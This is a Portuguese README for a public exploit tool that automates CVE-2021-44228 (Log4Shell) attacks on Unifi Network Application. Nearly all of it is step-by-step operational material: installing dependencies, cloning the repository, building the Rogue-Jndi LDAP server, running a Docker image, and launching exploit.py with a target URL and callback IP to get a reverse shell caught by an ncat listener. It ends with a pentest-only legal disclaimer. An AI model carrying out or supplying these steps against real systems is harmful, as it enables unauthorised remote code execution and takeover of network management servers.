
Explorando CVE-2021-44228 no Unifi Network Application para execução remota de código e muito mais.
Exploração da CVE-2021-44228 no Unifi Network Application para execução remota de código e muito mais.
As provas de conceito para esta vulnerabilidade estão dispersas e precisam ser executadas manualmente. Este repositório automatiza o processo de exploração. Veja a publicação do blog acima para orientações sobre pós-exploração.
Este repositório pode ser usado manualmente ou com Docker.
Para baixar e executar o exploit manualmente, execute os seguintes passos. Primeiro, certifique-se de que Java e Maven estão instalados no seu host atacante. Para fazer isso usando apt em sistemas operacionais baseados em Debian, execute o seguinte comando:
apt update && apt install openjdk-11-jre maven
Clone o repositório do GitHub e instale todos os requisitos Python:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && pip3 install -r requirements.txt
Na raiz do repositório Log4jUnifi, compile o projeto Rogue-Jndi usando o comando abaixo:
mvn package -f utils/rogue-jndi/
Primeiro, certifique-se de que o Docker está instalado no seu host atacante. (Não vou explicar como fazer isso)
Em seguida, execute o seguinte comando para clonar o repositório e construir a imagem Docker que usaremos.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && docker build -t log4junifi .
Para executar o container, rode um comando semelhante ao seguinte com suas flags de linha de comando anexadas. Observe que o container não capturará o reverse shell. Você precisa criar um listener ncat em uma sessão de shell separada:
docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi \
-u https://unifi.acme.com:8443 -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -u URL -i CALLBACK -p PORT
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Unifi Network Manager base URL
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
Obtenha um reverse shell usando a ferramenta instalada no seu sistema local:
python3 exploit.py -u https://unifi.acme.com:8443 -i 10.10.10.1 -p 4444
Esta ferramenta foi projetada para uso durante testes de penetração; o uso desta ferramenta para atacar alvos sem consentimento mútuo prévio é ilegal. É de responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis por qualquer uso indevido deste programa.